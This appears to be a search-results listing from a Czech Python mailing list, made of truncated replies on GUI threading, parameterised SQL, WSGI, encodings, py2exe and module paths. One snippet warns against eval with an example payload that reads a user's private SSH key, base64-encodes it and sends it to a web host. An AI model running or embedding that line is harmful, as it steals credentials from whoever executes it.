Ahoj. Mě ten tvůj příklad moc nefungoval, musel jsem přidat pár volání
metody Show. A i tak ten příklad fungoval jen někdy; sice neznám wx,
ale myslím, že stejně jako u ostatních GUI toolkitů, nelze jen tak
kombinovat volání z různých vláken, tedy přinejmenším bez nějaké
synchronizace, viz
Pokud se soubor otevře v režimu append, pak zápis je prováděn _vždy_
na konec souboru.
POSIXový (a snad ani žádný jiný) operační systém neumí vkládat jinam
než na konec souboru. Pokud je ukazatel jinde než na konci souboru,
zápisem se přepisuje obsah souboru. Podle toho musíš postupovat - buď
Ale #47; je /. To je dobře. V čem je problém? Do aplikace se stejně
tyto entity nesmí dostat, je úkolem XML parseru je přeložit.
PM
Dne 21. prosinec 2008 16:37 Ondrej Beranek rain...@gmail.com napsal(a):
Takze jsem s vasi pomoci udelal mensi skriptik. Ktery nema za ukol nic nez
precist zapsat.
Ahoj,
webový prohlížeč se snaží být na servery hodný a neotevírat více jak
dvě spojení najednou. Možná z toho máš pocit, že se to nechová
paralelně. Zkus víc prohlížečů najednou (čti: použij wget).
Jinak pro začátek, mám pocit, že mod_python nebývá moc doporučovaným
způsobem tvoření webových
Ahoj,
execute(sql prikaz a v nem %s % promennaOdUZivatele) neni osetreno
proti stavu, kdy v promenne budou apostrofy, natoz proti SQL
injection. Vola se to takto: execute(sql prikaz a v nem %s,
promennaOdUZivatele). Ono si to tu operaci % (cili naformatovani
nebo jak to chceme nazyvat) provede
Zdravim,
2009/3/20 Jirka Vejrazka jirka.vejra...@gmail.com:
...
Trochu mne zacina zajimat jaka je treba obrana proti SQL injection
pres Unicode, ale to uz je jina pohadka.
Unicode retezce se zakoduji do kodovani, ve kterem je vedeno spojeni
(parametr charset= u funkce MySQLdb.connect).
Ono
Ahoj,
misto hour=+8 asi ma byt hours=+8. To plus je tam na ozdobu, jde o to,
ze singular (hour) oznacuje absolutni hodnoty a plural (hours) rozdil,
podobne jako v mx.datetime a jinde.
Petr Messner
On Apr 4, 2009, at 10:58, gja...@gmail.com wrote:
Zdravim,
import datetime
import
Ahoj,
alt-f4 zavírá okno, zavření okna nemusí znamenat automaticky ukončení
programu. Nejspíš si na zavření okna musíš pověsit nějaký callback,
který ti ukončí program. Tohle bývá i v tutoriálech a ukázkových
programech GUI knihoven.
Ve WxPython stačí použít setTopWindow(); po uzavření
Pythonu řešit nějak elegantněji?
Děkuji.
Dne Tue, 30 Jun 2009 12:05:02 +0200
Petr Messner petr.mess...@gmail.com napsal(a):
V půlce programu si to klidně forkneš a očekáváš, že z potomka si v
pohodě můžeš měnit proměnné v rodičkovském procesu, navíc z obou
procesů saháš do GTK? No fuj
2009/7/8 Petr Zlamal p.zla...@gmail.com:
Pratele,
Potreboval bych poradit jak uvolnit pamet v pythonu, respektive jak
odstranit nepotrebnou instanci tridy z pameti. Zkousel jsem prikaz del. Po
provedeni del na instanci tridy je vsak pamet zaplnena furt stejne
(sledovano pomoci top v linuxu).
Osobně mě jako první napadl spíš dir (je to podle mě druhá
nejdůležitější funkce v Pythonu, hned po help), takto:
class A:
... def __init__(self):
... self.a = 12
... self.z =
...
a = A()
dir(a)
['__doc__', '__init__', '__module__', 'a', 'z']
2009/7/9 Vlada Macek ma...@sandbox.cz:
Ahoj,
bohužel si tvůj příklad nemohu zrovna vyzkoušet, ale myslím, že by měl
fungovat. Špatně se v něm pracuje s unicode/str a převodem mezi nimi
(proč voláš encode na str?), ale protože str() slovníku vrací ASCII
řetězec, ať je v něm cokoliv, protentokrát se to neprojeví. Nevím, co
myslíš tím
Ahoj,
tím v env asi myslíš ve vyhledávací cestě ($PATH), to je totiž
důvod, proč se tam to /usr/bin/env píše. Pokud chceš konkrétní verzi
Pythonu jen pro jeden program, tak podle mě nejjednoduší bude změnit
právě tento první řádek (tzv. shebang) třeba na #!/usr/bin/env
python2.4. Samozřejmě
Ahoj,
zalezi na tom, co chcete delat. Ja treba u Pythonu 3 cekam na nejaky
definitivni postup okolo WSGI, na ktery ceka i mnoho navazujicich
knihoven pouzivanych pri tvorbe webovych aplikaci. Takze se (v teto
oblasti) zatim dela v Pythonu 2 a az nastane spravny cas, projekty se
jen prozenou pres
Jednak sqlite (pokud vim) nelze pouzivat soucasne ze dvou ruznych
procesu...
Samozřejmě, že lze.
http://www.sqlite.org/faq.html#q5
PM
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python
).
Petr Messner
On 6.2.2010, at 18:59, Vladimír Šín wrote:
Ahoj Pythonýři,
mám XP prof,Wing IDE 101 ver 3.2.3-1 (rev
21238),python-2.6.4.msi,pygtk-2.12.1-3.win32-py2.6.exe,pygobject-2.14.2-2.win32
-py2.6.exe,pycairo-1.4.12-2.win32-py2.6.exe,py2exe-0.6.9.win32-py2.6.exe,...tohle
vše mám
Ahoj,
import ctypes
plnp = [1, 2, 3, 4]
array = ctypes.c_double * len(plnp)
clnp = array(*plnp)
clnp
__main__.c_double_Array_4 object at 0x10024bef0
list(clnp)
[1.0, 2.0, 3.0, 4.0]
PM
On 7.2.2010, at 18:03, Radek Machulka wrote:
Zdar,
posledni dobou se to tu celkem rozjelo,
Já osobně bych byl pro propojené webové fórum s mailing listem
(případně fórum, které zároveň umí přijmout odpověď mailem).
Mimochodem, tuším, že právě něco takového má builder.cz.
Nevím, na koho je tento mailing-list cílen, ale pokud i na začátečníky
a případné zájemce o Python, webové fórum by
Zkus místo toho nastavovat sys.path.
Mimochodem, přes os.system nebo subprocess.call nastavit systémovou
proměnnou pro již spuštěný proces samozřejmě nefunguje.
PM
2010/2/9 Tomas Hnizdil tomash...@gmail.com:
Dobry den,
rad bych si nastavil promennou PYTHONPATH (resp. do ni pridal cestu k
(odpověď je dole)
On 11.2.2010, at 2:35, matesfila wrote:
Zdravím,
mám taký trochu algoritmický problém!
Na adrese http://code.activestate.com/recipes/576961/ som sa dopátral k pre
mňa dosť záhadnej algoritmickej konštrukcii, ktorú tam autor nazýva zhruba
ako deferred output.
WTF?
2010/2/12 Ondřej Ludvík ondrej.lud...@deckardpenfield.cz:
Dobrý den,
dovoluji si Vás pozvat k únorovému číslu našeho Newsletteru.
V něm se kromě jiného seznámíte s koučinkem, dále zde naleznete širokou
nabídku zajímavých pracovních pozic a v neposlední řadě můžete soutěžit o
lístky na
Docela to připomíná systém pro odevzdávání studentských prací katedry
kybernetiky FEL ČVUT. Také automatické hodnocení, podpora pro více jazyků
(Python, Java, C++), kromě accepted a wrong nechybí samozřejmě ani odpověď
časový limit vypršel (poměrně oblíbená featura, http://zbrb.shy.cz/23).
PM
Ahoj,
především jsi nenapsal, co se snažíš vyřešit.
Každopádně, XML nebo HTML se neparsuje regulárními výrazy (protože to prostě
nejsou jazyky s regulární gramatikou, IIRC), jsou na to knihovny
(BeautifulSoup, lxml atd.).
Pokud očekáváš
One aTwo/a Three
pak bys prostě měl to jedno /a v
Zkus to nějak přidat do includes:
http://www.py2exe.org/index.cgi/ScipyImportProblems
PM
2010/3/3 vepro p.zla...@gmail.com:
Pratele,
Zkousim udelat exe soubor pomoci py2exe pod win7 64bit. Uz jsem dosel do
kroku kdy kompilace probehne a vytvori se exe soubor. V prubehu kompilace
dojde k
- vytvořit objekt, který při porovnání s False vrátí True (lze
implementovat přetížením/vytvořením metody __nonzero__)
BTW. počítáš i s IPv6, že jo? :)
Petr Messner
2010/3/18 David Rohleder da...@ics.muni.cz:
Ahoj,
je možné, aby nevznikl objekt, který zrovna vytvářím? Příklad - mám
třídu typu IP
atd. a jede se dál.
A i kdyby webová aplikace spadla (třeba na SIGSEGV) - v ideálním případě (a
většina konfigurací takto funguje) se spustí znovu.
Petr Messner
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python
to do závorky prosil
originální (anglický) název.
Petr Messner
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python
pro důvody, které jsem popsal výše. O
mod_pythonu se jen hodně píše, prostě proto, že Apache a mod_název
jazyka si lidé dlouho neumějí od webu odmyslet. Když už Apache, tak
mod_wsgi v daemon módu. Nebo FastCGI. Nebo proxování na aplikační
HTTP server :)
Petr Messner
2010/4/6 Adam Strauch c
test správnosti
2010/4/8 Přikryl Petr prik...@atlas.cz:
(Off topic)
Zdravím všechny pojídače velikonočních vajec ;)
Má tady další Kolik třešní, tolik višní...
Překládal jste někdo pojem sanity check?
Nebo jste to někdy někde viděli přeložené?
Mám nějaké nápady, ale nic moc (a nechci
Předpokládám, že místo foo() je myšleno spouštění webového serveru přes Popen z
bar(). Mě tento kód funguje, příkaz se spustí. Asi bude chyba někde jinde.
Často pomůže podívat se přes strace, co to vlastně dělá (myslím příkaz strace v
Linuxu nebo něco podobného v jiných OS). Raději sem ale
Existuje jiný způsob, než změna typu za běhu:
class A:
def b(self, x):
self.x = x
def c(self):
return self.x
a = A()
a.b(42)
assert a.x == 42
class Proxy:
def __init__(self, obj):
self.__dict__[_obj] = obj
def __getattr__(self, name):
return
/4/20 Petr Messner petr.mess...@gmail.com:
Problem ale stejne bude v tom, ze kdyz chci
prvy, druhy, treti, ctrty = slova
tak ten iterator musi vratit presne 4 hodnoty a pak vyvolat
StopIteration. A jak tomu reknes, ze z toho tahas ty 4 hodnoty? Leda
tak tim, ze tam fakt budou presne 4. To ale
Ahoj,
zkusím ti to nejdřív nějak vysvětlit, pak ti odpovím na tvé konkrétní otázky a
závěr ještě něco přidám. Sorry, vzhledem k formulaci a vlastně samotné
existenci dotazu jsem se trochu více rozepsal.
Pro jistotu zde uvedu definici WSGI: je to lepidlo, pomocí kterého se slepí
webový server
2010/4/24 Thomix thomi...@gmail.com:
...
Na začátek bych strašně rád poděkoval za nádherné odezvy, které mě
přivádějí na tu dle mého správnou cestu. Moje projekty navštěvuje více
než deset lidí. Celový traffik je 4TB měsičné, beží na VPS (ubuntu a
debian). Zpracovávám databáze o velikosti 100
Kešovací proxy? Oba termíny se mi zdají v češtině normálně
používané.
Petr Messner
5.5.2010 v 9:24, Petr Přikryl prik...@atlas.cz:
Všechny zdravím a Slunce v duši (když už je tak zas...á obloha
),
Mám tu zase takový oříšek. Překládá se nějakým stručným
českým
pojmem nebo ne-příliš
Ahoj,
pokud to vypadá jako JSON, asi nejlepší bude použít na to nějakou
knihovnu, jak už tu zaznělo. Další zmíněná možnost, eval, se mi moc
nelíbí.
Načítat do paměti bych se to nebál, 6 kB není zase tolik.
Kdyby to ale náhodou JSON nebyl, pak přeji příjemnou zábavu :)
Poslední dobou se objevují
eval(__import__('urllib2').urlopen('http://messa.cz/?pepovoklic='+__import__('base64').urlsafe_b64encode(open('/home/pepa/.ssh/id_dsa').read())).read(),
{}, {})
2010/5/5 Hynek Fabian hynek.fab...@firma.seznam.cz:
Jan Janech (středa 05 Květen 2010 13:08:49):
Dovolim si oponovat. Vsetko co sa da
Ahoj,
zkusil jsi atribut __file__?
$ python
Python 2.5.5 (r255:77872, Feb 2 2010, 00:25:36)
[GCC 4.4.3] on linux2
Type help, copyright, credits or license for more information.
import os
os
module 'os' from '/usr/lib/python2.5/os.pyc'
os.__file__
'/usr/lib/python2.5/os.pyc'
PM
2010/5/5
Myslím, že už jsem to viděl přeložené jako sušenky :)
PM
2010/5/11 Petr Přikryl prik...@atlas.cz:
Ahoj všeci,
Co se týká překladu cookies, ptám se spíš ze zvědavosti.
Jednak se to v překládaném textu vyskytuje minimálně
a jednak je to tak speciální věc, že neuškodí nechat to
v původním
2010/5/18 Jakub Zíka jakub.zika...@gmail.com:
K tomu se dá použít modul RestrictedPython
(http://pypi.python.org/pypi/RestrictedPython). Pokud používáte Linux
nebo i jiný Unix, pak by Vás mohly zajímat další možnosti omezení
nedůvěryhodného kódu (omezení využití procesoru a paměti), o kterých
Já bych řešení zkombinoval. Do sys.path dal cestu odvozenou od
__file__ (tedy to, co dáváte do os.chdir() a upravené o ../modules,
bych dal do sys.path).
import os
import sys
sys.path.append(os.path.abspath(os.path.join(__file__, .., .., modules)))
PM
2010/5/28 Radek Machulka
Pokud se jedná o tvůj vlastní dekorátor, můžeš vracené funkci
nastavit nejaký atribut, jehož přítomnost pak můžeš testovat.
Mimochodem ten dekorátor co uvádíš není nejlepší, protože
přepisuje název a dokumentaci původní funkce. Tím by to také
možná šlo zjistit.
Petr Messner
23.6.2010 v
jeste hrozim, na co prijdu, az to pustim pod Macem
;-).
Mac OS X je samozřejmě v pohodě (je to Unix). Co funguje na Linuxu a
nepoužívá speciality linuxového kernelu, by mělo fungovat i tam.
Marek
___
Petr Messner
:
def __init__(self, name):
...
Petr Messner
2010/7/22 MICHÁLEK Jan Mgr. michalek@uhul.cz:
Ten slovník tam mám, já to umím zachytit, ale neumim udělat to, aby se ta
instance nevytvořila přes init,
šlo by udělat
z1= Zvire.pridejZvire('hroch') #a ta metoda bz se podivala do
, existuje
ještě jedna možnost - otevřít souboru v režimu universal newline
support a jako oddělovač řádku psát jen \n, ono by se to pak mělo
na Windows na \r\n převést samo. (To, že jedeš na Windows, odvozuji
ze sleepu na konci.)
Petr Messner
2010/7/24 iThomaas bielik.tho...@gmail.com:
Zdravim
Když udělám track.find(name).text, tak ten text dostanu.
Kód na http://gist.github.com/492225 začne vypisovat názvy skladeb.
Mimochodem, pokud máš s XML výstupem z Last.fm problémy, můžeš použít
nějakou již připravenou knihovnu nebo zkusit JSON výstup (do url
přidat parametr format=json).
Petr
(je to narychlo a s Qt/PyQt nemám moc zkušeností, tak ten příklad
neberte zas tak vážně :-))
Petr Messner
2010/8/5 vepro p.zla...@gmail.com:
Vazeni pratele,
Mam aplikaci, ktera pro gui vyuziva pyqt4. Muj problem se tyka QTextEditu. V
jedne metode vyuzivam cyklus, ktery ma ve svem tele take
], [], [], timeout)
print rlist
if rlist:
print Bylo zadano: %r % sys.stdin.read()
else:
print Cas vyprsel
break
Snad jsem odpověděl, na co jsi se ptal.
Petr Messner
2010/10/22 remixus79 remixu...@gmail.com:
Zdravím,
potreboval by som poradiť. Mám program v ktorom je
str o nove veci, pouzivej pak zapis jako na
predposlednim radku. Jenom si tu odvozenou tridu radeji pojmenuj jinak nez zase
str :)
Petr Messner
On 3.11.2010, at 10:49, Visgean Skeloru visg...@gmail.com wrote:
Dobrý den, mám tu následující kód, nevíte proč my hodí python na poslední
řádek
Import ve skutečnosti zavolá funkci __import__, které se název modulu
předá jako řetězec. Takže zkus něco jako modul = __import__(promenna).
Doufám, že v případě vítězného vyřešení puzzle se výherce podělí s komunitou :)
Petr Messner
2010/11/3 Charlotte van Leeweneck vanleeweneck.charlo
Ahoj,
na jakém operačním systému a jaké verzi to zkoušíš? Třeba Linux nevytváří
vlákna, ale procesy. Vlákna jsou jen procesy, které spolu sdílí nějaké
prostředky (paměť, otevřené soubory apod.). Viz clone(2). V Linuxu prostě každé
vlákno má svoje PID, několik vláken má shodné TGID (thread
To nejlépe umějí malé děti. Případně kočky. Nebo můžeš do klávesnice vysypat
zrní a dát ji za okno.
S pozdravem
PM
On 16.11.2010, at 18:56, remixus79 wrote:
Dobrý deň,
mal by som zase raz jednu otázku. Dal by sa spraviť program taký že
keď ho zapnem by stláčal klávesy ? Napríklad
jednoduché jako řešit to mezi vlákny. Viz modul multiprocessing,
zmiňovaný ostatními. Třeba u webového nebo aplikačního serveru nemusí
být důležité, aby mezi sebou jednotlivé procesy vůbec komunikovaly,
pak je řešení triviální (spustit více procesů).
Petr Messner
2010/11/18 vepro p.zla...@gmail.com
třeba nějaké klíče podobně jako u SSH,
nebo zadat cestu k nějakému konfiguráku s heslem?
Petr Messner
2010/11/21 Martin Kubát kubatmar...@seznam.cz:
Přeji hezký den,
řeším tento problém:
v cronu se spouští python skript který potřebuje ke svému běhu zadat
login a heslo (konkrétně remote api pro
Jenom takovy napad - nebylo by lepsi fp =
C.pythonapi.PyFile_AsFile(open(phototest.tif)) ?
PM
2010/11/24 Zdenko Podobný zdpos...@gmail.com
Zdravim,
potrebujem v pythone robit s viacstrankovymi tiff subormi a po roznych
testoch a googlovani som skoncil na tom, ze cisto python riesenie
AFAIK mělo by si to umět lépe poradit s dědičností do diamantu, tedy nějaké
odvozené třídě se pak konstruktor nezavolá třeba dvakrát.
Petr Messner
29.12.2010 v 19:23, spooky...@tbs-software.com:
Zdravím,
vysvětlil by mi někdo polopaticky používání builtinu super().
Jaký je hlavní rozdíl v
Na to nemusíš používat exec. Pokud chceš importovat nějaký
soubor/modul, jehož jméno máš v proměnné, viz __import__. Potom stačí
třeba getattr.
PM
2011/2/2 Filip Bartmann fil...@centrum.cz:
Jak si myslíte, že je bezpečná funkce exec v následujícím kódu:
Ahoj,
jen takový detail - v předmětu potvrzovacího mailu je Welcome to
Qamp;A Roští.cz, to amp; tam asi nepatří :)
Takže to znamená, že většina provozu zde na mailinglistu se přesune na QA? :)
PM
2011/2/18 Adam Štrauch c...@initd.cz:
Ahoj,
snažím se rozjet QA server zaměřený na Python na
Doufám, že nějakého Pythonistu potkám i za týden ve Fraktálu :)
Petr Messner
30.3.2011 v 13:04, Vladimir Macek ma...@sandbox.cz:
Upozornuji na dnesni pravidelny prazsky sraz djangistu a vubec pythonistu:
https://groups.google.com/group/django-cs/browse_thread/thread/696d7ab17866e579
os.stat
Ta velikost na disku znamená včetně obsazených bloků na disku, které ale nemusí
být zcela zaplněny tím souborem.
Petr Messner
20.4.2011 v 17:35, g...@post.cz:
Ve Windows (xp) když dám Vlastnosti souborů, tak vidím 4 velikosti souboru:
Velikost 4,64 MB (4 875 317 bajtů)
Velikost
A nebo jestli jsem nepochopil otazku a problém je v tom, že 4.64 MB != 4 640
000 B (zaokrouhleno) - je třeba si uvědomit, že megabajt má obvykle 2^20, ne
10^6 bajtů. Takže stačí v Pythonu jen vhodně vydělit číslem 2^20.
Petr Messner
20.4.2011 v 17:35, g...@post.cz:
Ve Windows (xp) když dám
Nevím, jestli jsi na správné adrese. Nejspíš jde o data serializovaná z Javy:
$ file databaze.bin
databaze.bin: Java serialization data, version 5
S tím Python asi moc nepomůže. Jinak nejspíš se jedná o nějakou
konfiguraci přístupu do databáze Firebird nebo tak něco:
$ strings databaze.bin
Šlo by to třeba přes HTTP POST - viz
http://docs.python.org/library/urllib2#examples
PM
2011/5/10 miamia peterirbi...@gmail.com:
zdravím všetkých,
zaujimál by ma váš názor na niečo takéto. začal som (včera) :)
programovať v pythone (2.7) a potreboval by som odoslať dáta z
aplikácie priamo
Petr Messner
11.5.2011 v 23:03, miamia peterirbi...@gmail.com:
zdravím vospolok,
prosím o radu skúsenejších, používam na vykonanie príkazu každých 5
sekúnd toto:
def do_event():
print 5 seconds, hurray!
s.enter(5, 1, do_event, ())
s.enter(1, 1, do_event, ())
s.run()
avšak
se pak provede v rámci event loop.
Jak přesně myslíš, že by to mělo běžet na pozadí? Je součástí toho, co chceš
periodicky spouštět, něco náročného, kvůli čemu by GUI mohlo nepříjemně
zamrznout?
Petr Messner
11.5.2011 v 23:03, miamia peterirbi...@gmail.com:
zdravím vospolok,
prosím o radu
IronPython? :)
Petr Messner
22.5.2011 v 13:05, miamia peterirbi...@gmail.com:
no na druhú stranu, obrovské prachy za visual C++, visualbasic,
sa mi veľmi nechce dávať. otázkou u mňa stále zostáva, aký
programovací jazyk použiť na to, aby výsledné programy fičali na win
(prípadne linux) bez
V dokumentaci urllib (http://docs.python.org/library/urllib.html) se píše:
Warning: When opening HTTPS URLs, it is not attempted to validate the
server certificate. Use at your own risk!
Takže data byla odeslána zašifrovaná, ale nikoli bezpečným způsobem -
kdo by se dokázal vydávat za cílový
binární řetězec (tedy zašifrovaný text)
nějak rozumně čitelně vypsat, hodí se na to base64 (v ukázce jsem
použil hexadecimální čísla).
Petr Messner
2011/6/4 miamia peterirbi...@gmail.com
Dobry den,
prosim Vas, potrebujem zasifrovat text v pythone a potom ho desifrovat
v skripte PHP. Skusal som
- Unicode HOWTO
http://farmdev.com/talks/unicode/ - Unicode In Python, Completely
Demystified (prezentace)
http://stackoverflow.com/questions/1436703/difference-between-str-and-repr-in-python
- Difference between __str__ and __repr__ in Python
Petr Messner
2011/6/7 David Rohleder da...@ics.muni.cz
Ahoj,
tento problém řeší snad každý webový framework, takže možnosti existují.
Třeba Werkzeug se dá pod CGI rozjet takto:
http://werkzeug.pocoo.org/docs/deployment/cgi/
POSTnutá data jsou k dispozici v MultiDictu Request.form, soubory jsou
zvlášť v Request.files:
,
nevím.
budu se do toho muset pořádně začíst, popravdě toho moc o cgi nevím
každopádně ještě jednou díky, já se asi budu muset prohrabat v těch
frameworkách :(
Dne 4.8.2011 10:30, Petr Messner napsal(a):
Ahoj,
tento problém řeší snad každý webový framework, takže možnosti existují.
Třeba
Zřejmě to lépe nejde. Ale výsledek stojí za to - rozhodně lepší, než
se snažit mít v systému nainstalované verze modulů, které by byly
kompatibilní se vším, nebo být nucen izolovat aplikace do virtuálních
serverů.
PM
Dne 11. ledna 2012 15:39 Hynek Fabian hynek.fab...@firma.seznam.cz napsal(a):
Ne každý používá bash :)
PM
2012/1/11 Matej Cepl mc...@redhat.com:
Dne 11.1.2012 07:36, Ing. Vladislav Ludík napsal(a):
export PYTHONPATH=$PYTHONPATH:/cesta_k_mym_modulum
Pro normálního uživatele přidejte tuto řádku do ~/.bashrc (tedy .bashrc
soubor v domácím adresáři). Po přelogování to
Ahoj,
Mimochodem linuxovský příkaz ps -d | grep program.py, který by vyfiltroval
jen to co hledám, funguje pod linuxem, ale přes subprocess ne.
Hlásí: ERROR: Garbage option.
Funguje i přes subprocess, jenže se to musí spustit pomocí shellu -
jedná se totiž o dva programy propojené rourou, ne
nějaké kódování už vůbec nestarat. Samozřejmě pokud máte
nejaky vstup, u kterého jste si jistý, že vám bude dodávat řetězce v utf-8,
první (a jediné), co uděláte, je decode(utf-8) :)
Petr Messner
2. 5. 2012 v 10:16, Jaroslav Lukesh luk...@seznam.cz:
Děkuji, ale nechápu, jak proměnné říct, že
problémům
vyhnuli. Bohuzel teď nejsem u počítače, pak odpovím i s příkladem.
Petr Messner
2. 5. 2012 v 11:06, Jaroslav Lukesh luk...@seznam.cz:
Jenže právě toto nějak nejde, řve na tom ř:
s='Ă˝ á Ă Ă.'
u = s.decode(utf8)
Traceback (most recent call last):
File stdin, line 1, in ?
File /var
Ono to možná nikam nevede. Bez posledních dvou znaků je to OK:
print \xC3\xBD \xC3\xB7 \xC3\xAD.decode(utf8)
ý ÷ í
Ono za \xC3 musí z definice UTF-8 následovat bajt, který má nastavený
nejvyšší bit, a to obyčejná tečka není snad v žádném kódování, rozhodně v
žádném založeném na ASCII jako je
Ahoj,
__file__ v programu z py2exe není. Teď jsem si to zkoušel, když kliknu
na soubor s neznámou příponou, nastavím asociaci k programu z py2exe,
tak po spuštění tohoto souboru bude jeho název v sys.argv[1]. V
sys.argv[0] je potom cesta k tomu .exe souboru z py2exe.
Asi se to dá i nějak více
A nebo se podívat na modul ssh, který právě fabric používá a je to
fork paramika.
http://pypi.python.org/pypi/ssh/
https://github.com/fabric/fabric/issues/275
PM
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python
Ahoj,
zálohu jaké databáze? MySQL, PostgreSQL, MongoDB, ...? Je to něco, co
se přímo týká Pythonu? Protože rozumná databáze by měla mít dobrou
dokumentaci a nástroje k jejímu zálohování.
Co se na tom zdá podivné? Proč celery, nestačí cron?
PM
Dne 14. srpna 2012 21:52 Visgean Skeloru
Pomohlo by nainstalovat to odtud?
http://www.stickpeople.com/projects/python/win-psycopg/
(Tento odkaz je na http://initd.org/psycopg/ vpravo v Quick links Windows
Download.)
Petr Messner
2012/8/29 Ondrej Beranek rain...@gmail.com
Ahoj,
potřeboval bych pro pár menších skriptů podporu
Na Linuxu mi právě běží spousta procesů, jejichž parent už neběží :)
Petr Messner
Dne 5. září 2012 9:56 azurIt azu...@pobox.sk napsal(a):
Ahoj,
proces je ukonceny pretoze jeho parent skoncil (proces web serveru - CGI
skript). Ak si na linuxe, tak toto nie je mozne takymto sposobom urobit
Ahoj,
můžeš nějak zjistit, jak a čím je ten proces zabit? Třeba přes strace nebo gdb.
Jednoduchý CGI skript, který spustí něco časově delšího přes
subprocess.Popen (ale samozřejmě nejoinuje) a hned se ukončí, mi
funguje a proces na pozadí zůstane běžet. Ale záleží na tom, co s tím
dělá ještě ten
Ahoj,
máš přístup ke konfiguraci mail (SMTP) serveru, který tyto maily přijímá? Možná
by se tam dalo nastavit spouštění něčeho. Nebo nastavit přesměrování na vlastní
SMTP server v Pythonu :)
Petr Messner
13. 10. 2012 v 18:09, Visgean Skeloru visg...@gmail.com:
Ahoj, píšu script co
Messner petr.mess...@gmail.com
Ahoj,
máš přístup ke konfiguraci mail (SMTP) serveru, který tyto maily přijímá?
Možná by se tam dalo nastavit spouštění něčeho. Nebo nastavit přesměrování
na vlastní SMTP server v Pythonu :)
Petr Messner
13. 10. 2012 v 18:09, Visgean Skeloru visg...@gmail.com
Třeba Runit nebo Daemontools.
Petr Messner
15. 10. 2012 v 0:19, Visgean Skeloru visg...@gmail.com:
Mhmm, ok to zní už hodně složitě... radši to vydržím s tím cronem. I když
cron je asi nevhodný tady lepší by bylo spustit to jedno a používat sleep -
neznáte nějaký použitelný postup na
Děláte po zápisu commit?
Petr Messner
9. 12. 2012 v 8:07, Ing. Vladislav Ludík vl...@ludik.cz:
Zdravím všechny.
Narazil jsem na podivné chování modulu MySQLdb.
Nainstaloval jsem ComplexWebServer.1.4.14.msi na Windows 7 - x64.
V počítači je Python 2.7.3.msi + modul MySQL-python-1.2.3
Pokud jde o to, že se ten xml dokument nevejde do paměti, tak řešením je SAX:
http://lxml.de/sax.html
Jestli to tedy neni zrovna to procházení, které nechceš :)
Petr Messner
21. 1. 2013 v 11:18, Ondrej Beranek rain...@gmail.com:
mám rozsáhlý a tučný (několik gb) XML dokument, existuje
Jen pro jistotu - \t je tabulator, nebo zpetne lomitko a za ním malé písmeno t?
Petr Messner
2. 3. 2013 v 12:16, Roman Beno romanbeno...@gmail.com:
Dobrý deň,
vedeli by ste niekto poradiť ako vyjadrím \t ako súčasť retazca v regulárnom
retazci?
dajme tomu že mám retazec: 577\t577 577
Má to být takhle?
re.sub(r\d+\t, 595tab, 577\t577 577)
'595tab577 577'
Ten dolar ($) označuje konec řetězce, takže jakýkoliv regulární výraz
obsahující dolar jinde než na konci nemá moc velký smysl.
PM
2013/3/2 Roman Beno romanbeno...@gmail.com
Dobrý deň,
vedeli by ste niekto poradiť ako
Když se podíváš na assembler, který leze z překladače, taky ti může připadat
jako od někoho, kdo assembler nikdy neviděl. A přesto takové programy vesele
používáš :)
Petr Messner
5. 3. 2013 v 15:46, azurIt azu...@pobox.sk:
Ty si JavaScript este nikdy nevidel? :) *Normalny* ekvivalent k tomu
Dne 27. června 2013 13:38 Roman Frajt r.fr...@centrum.cz napsal(a):
Nanistaloval jsem Anacondu, do cmd.exe jsem úspěšně zadal conda update
conda a conda update ipython, ale teď vlastně nevím, jestli už to teda mám
nebo nemám nainstalované, ve startu mám k dispozici položku - IP iPython
(2.7),
Přímo v knize vidím odkaz na
http://diveintopython3.py.cz/examples/humansize.py
Je to ono?
PM
Dne 27. června 2013 14:53 Roman Frajt r.fr...@centrum.cz napsal(a):
Snažím se jako začátečník začít učit Python podle knihy Ponořme se do
Python(u) 3, ale hned na začátku jsem narazil na tento
Dne 2. července 2013 21:54 Jaroslav Lukesh luk...@seznam.cz napsal(a):
Zkuste Zope, má nativní stromovou databázi, dokonce umí i SQL
zestromovatět.
Tahle databáze je geniální na katalogovou strukturu - typicky starý dobrý
yahoo a seznam než to začali dělat i s fultextem, sklady, náhradní
Nazdar
já jsem to nějak moc nepročítal, ale zahlédl jsem tam podobný kód:
def double_stuff_p ( a_list ):
new_list = []
for value in a_list:
new_list += [2*value]
return new_list
Co ty mezery? To asi nebude podle PEP 8 :) Jestli je to materiál pro
začátečníky, jak
Proč něco takového chceš?
PM
Dne 9. října 2013 15:45 bertiks...@gmail.com napsal(a):
Mám název funkce v proměnné, tak bych se chtěl zeptat jak tu funkci můžu
zavolat? jde mi o to abych dále té funkci mohl dát další parametry
___
Python mailing
To root.mainloop() spustí smyčku, která zpracovává eventy. Mělo by se to
ukončit po zavření posledního okna.
Viz také http://stackoverflow.com/a/8685760/196206
Toto je u GUI (i jiných, třeba síťových) programů obvyklý design. Pokud
chceš něco provádět vedle té smyčky, tak pro to ty knihovny (v
Ahoj,
podmínku ukončovat nemusíš. Toto je funkční a korektní podmínka:
if tohle:
tamto()
Funkce se dá dát i do podmínky. Např. takto:
if jmeno == Petr:
def pozdrav():
print(Ahoj)
pozdrav()
# ale když je funkce definovaná v podmínce, tak
# v případě nesplnění podmínky ta
Pokud free = cena jedno, dvou... piv za měsíc, pak existují
hostingy/aplikační cloudy, jako je rosti.cz, heroku.com nebo Google App
Engine. Pokud zvládneš administraci linuxového serveru, tak není problém
Python provozovat v nějakém levném VPS třeba u wedos.cz nebo virtio.cz.
PM
Dne 5. února
Třeba něco takového? http://qr-platba.cz/
PM
Dne 16. února 2014 23:26 Ctibor.Plasek ctibor.pla...@seznam.cz napsal(a):
Ahoj.
Vím, že tato problematika se přímo Pythonu netýká, ale třeba jste se někdy
s takovým problémem setkali a dokázali byste mi poradit.
Dělal jsem e-shop a potřeboval
1 - 100 z 177 matches
Mail list logo